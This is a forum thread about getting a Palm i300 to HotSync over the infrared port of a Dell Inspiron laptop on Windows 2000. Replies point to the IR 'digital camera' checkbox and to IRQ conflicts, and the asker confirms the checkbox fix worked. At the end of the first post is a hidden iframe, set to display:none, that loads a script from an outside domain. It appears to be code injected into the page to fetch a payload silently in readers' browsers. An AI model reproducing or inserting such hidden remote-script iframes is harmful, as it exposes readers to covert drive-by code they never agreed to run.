I have an Dell Inspiron that has an infrared (IR) port made by SMC. Unfortunately, I don't know the part number. It supports IrCC, IrCOMM and Fast Infrared (FIR). If any of you I300 users have successfully sync-ed your I300 via an infrared port, please let me know how you did it.

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Currenty, my siystem has the following:

1) Dell Inspiron 8000 (Dell's tech-support claims the issue is with the software, so they're staying out of this).

2) Windows 2000 (SP2)

3) A single physical COM port (the dealy that one normally plugs their cradle into the computer with).

4) A single IR port that can be enabled/disabled separate of the physical COM port.

5) Palm Desktop v 4.0.1 (from the packaged CD that came with the I300).

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Currently, the following symptoms are encountered:

1) Upon choosing "Infrared" as my hotsync method, I get the following dialog pop-up box. "Error accessing the IR port. See the //Helpnotes//IR_Readme.txt for more information.

* In true Windows fashion, this file does not exist anywhere on my computer.

2) Windows 2000 refuses to establish an emulated COM port for my IR device. Even if I set my IR device to COM 2 in the BIOS, my Palm Desktop does not recognize COM 2 to exist.

3) If I have my I300 start a HotSync process (by pushing that button on the cradle); and then I aim the I300 at my IR port, Windows 2000 recoginzies that an IrCOMM device is now transmitting with the port. A dialog can be accessed that allows me to exchange files, but it causes errors if I try to move files.

* I also have a Sony Cassiopeia (E-115) that communicates with my laptop just fine.

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Currenty, I have tried the following:

1) Set my infrared device to COM 1 (and 2 in a separate attempt) in the BIOS. Unfortunately, the Hotsync software only finds my physical COM port in either case.

2) Downloaded numerous drivers from http://support.Dell.com

3) Re-installed my Hotsync application.

4) Booted the laptop with all physical COM ports disabled. Kept my IR port on. No luck.

5) Cursing and swearing.

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Any help here would be greatly appreciated since I frequently use my laptop in a variety of environments using wireless ethernet. I really don't want to drag a cradle around with me. Of course, the ability to sync using IR would make the I300 that much cooler

Thanks for any information, I appreciate you even reading this far.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

under IR properties in control panel, under the "digital camera" tab,make sure the "use IR for digital camera" is UNCHECKED. I don't remember the exact labels. but i was told by palm that when that's checked,you IR port thinks your palm is a digital camera.

I have a friend who has an inspiron 7000, and at least on his computer, that has an internal modem as well, there aren't enough irq's to have the serial port, intermal modem(non-pcmcia), and the ir port active at the same time. First check what was mentioned above, that usually does it; if that doesn't work try checking the bios to make sure the ir port is active, you might want to play around with the settings(Auto, PNP os, setting specific irq's etc.). In the last case, try deactivating say the com port, and rebooting to see what happens, in my friends laptop, we had to put in a pcmcia modem to get around the issue.
While not related, that wouldn't be a bad idea if you have an internal modem, usually dell uses the Lucent Winmodem, which is the biggest piece of Cr*p in the world, it's software based. Goodluck, and hope this helps.

Jorge

Revision;
When you don't read thats whjat happens, I see you've basically tried most of the stuff I mentioned, and if you can sync your casio, I bet it's the checkmark in the ctl panel mentioned above, that bit me in the ass for a long time.
Note of caution: if that resolves your palm issue, but screws up something else, you're basically gonna have to switch back and worth, example, To sync my nokia 7160, I had to activate the checkmark, to sync my palm, I had to uncheck it, or vice versa, you get the point.

lchen4,

Thanks for the info - the synching via IR works great now. I can't believe I missed that checkbox in the IR settings.

Again, thanks!!